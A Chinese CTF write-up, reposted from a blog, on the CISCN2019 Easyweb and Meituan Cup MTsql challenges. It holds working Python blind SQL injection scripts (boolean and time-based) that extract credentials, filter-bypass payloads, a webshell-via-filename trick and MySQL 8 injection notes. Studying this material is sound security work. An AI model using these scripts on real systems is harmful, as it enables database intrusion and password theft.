本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

2024-11(1)

由美团杯一道题学习sql注入新姿势

发布于2021-05-30 19:55     阅读(1164)     评论(0)     点赞(14)     收藏(3)


MTsql

登陆界面很好看
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[CISCN2019]Easyweb

目录扫描

在buu上复现的 buu的扫描一直是不成功的 吐了。。。
随手输了个 robots.txt 发现东西

User-agent: *
Disallow: *.php.bak

在image.php.bak中发现东西

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

哦哦哦
这里貌似在注入图片选择??
既然给了这个选图片的代码 说明应该是个sql注入没跑了

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(")
  • 反斜杠(\)
  • NULL

会过滤 ' 得考虑一下如何绕过 总得闭合
想构造以下的payload 只要出现奇数个 \ 就可以实现注入

select * from images where id='\' or path='   payload  #'

试了很多次 用\0 \\0可以实现 写脚本的时候要多加一个\

不知道为什么我只让他睡1s 实际却睡了3.93s 奇怪

http://32589a3a-a9ea-4784-908b-eefba1d6f8f3.node3.buuoj.cn/image.php?id=\\0&path=%20or%20sleep(1)%23

于是开始注入 这里直接飞脚本
注意 最初 我想用下面的语句爆表名 后来百思不得其姐 。。。 原来是因为过滤了' 被我忘了。。。
用16进制绕过

SELECT  table_name FROM information_schema.tables WHERE table_schema = 'ciscnfinal' 

正解

import requests
import time

url = "http://32589a3a-a9ea-4784-908b-eefba1d6f8f3.node3.buuoj.cn/image.php?id=\\0&path="
def check(text):
    if "JFIF" in text:
        return 1
    else:
        return 0
# payload
# select * from images where id='\' or path='   payload  #'
#051c24692de2ece98b53
result = ""
for i in range(0,50):
    high = 123
    low = 33
    mid = (high + low) // 2
    while high > low:
        #payload = " or id=if(ord(substr((select password from users limit 1 offset 0),{},1))>{},1,0)%23".format(i + 1, mid)
        #payload = " or id=if(ord(substr((select column_name from information_schema.columns where table_schema= 0x636973636e66696e616c and table_name = 0x7573657273 limit 0,1),{},1))>{},1,0)%23".format(i + 1,mid)
        #payload = " or id=if(ord(substr((select username from users limit 1 offset 0),{},1))>{},1,0)%23".format(i + 1, mid)
        payload = " or id=if(ord(substr((select password from users limit 1 offset 0),{},1))>{},1,0)%23".format(i + 1,
                                                                                                                mid)
        u = url + payload
        res = requests.get(u)
        time.sleep(0.1)
        print(u)
        print("===================================")
        if check(res.text) == 1:  # 说明大于
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    print(mid)
    result += chr(mid)
    print(result)

登录进去后是一个文件上传
随便传一个 .htaccess 进去试一下

I logged the file name you uploaded to logs/upload.e63e6b133a4b2d5eb2fe1165bdce7313.log.php. LOL

中间那串32位应该是md5
emm…
日志在哪/
看看
额。。。forbidden了/logs/ 差点以为读不到了 还好根目录可以读

/logs/upload.e63e6b133a4b2d5eb2fe1165bdce7313.log.php

本来想搞点骚操作的
结果发现不知道上传的传哪去了
只有一个记录文件名的 日志
但这日志是php 严重怀疑是出题人故意的
可以利用文件名上传
之后"一键"连接
结束战斗

回到MTsql

这里给出ha1神的脚本 与上题思路基本一致 但由于过滤较为严格 所以用正则匹配来注入
这里爆库我是不会 估计盲猜 users表 咳咳 毕竟select 和 handler都ban了

import requests as req
import time

def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))

  result = result.replace('0x','')
  return '0x'+result


url = "http://eci-2ze7bgvjvxtgmki6mtcj.cloudeci1.ichunqiu.com/index.php"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_']
headers = {
      'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Connection':'keep-alive'
    }

res = ''
for i in range(50):
  for j in string:
    passwd = ord2hex('^'+res+chr(j))
    # print(passwd)
    passwd = '||case/**/when/**/password/**/regexp/**/binary/**/{}/**/then/**/sleep(3)/**/else/**/1111111/**/end/**/#'.format(passwd)
    #print(passwd)
    data = {
      'username':"admin\\",
      'password':passwd
    }
    before_time = time.time()
    r = req.post(url, data=data, headers=headers)
    after_time = time.time()
    #print( r.text)
    offset = after_time - before_time
    # print(offset)
    if (offset > 2):
      print(passwd)
      res += chr(j)
      print(res)
      break
#password This_1s_thE_Passw0rd

拓展一下

除了select 和 handler 还有其他方法查询吗

mysql8有注入新特性 TABLE 可代替select
mysql8新特性

values

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list:
    ROW(value_list)[, ROW(value_list)][, ...]

value_list:
    value[, value][, ...]

column_designator:
    column_index

可用来判断列数 列数不对会报错

select * from users where id = 1 union values row(1,2,3)

原文链接:https://blog.csdn.net/qq_53755216/article/details/117186743



所属网站分类: 技术文章 > 博客

作者:再拍我就焖面

链接:http://www.phpheidong.com/blog/article/86800/5f52458b07cdbbfe51ee/

来源:php黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

14 0
收藏该文
已收藏

评论内容:(最多支持255个字符)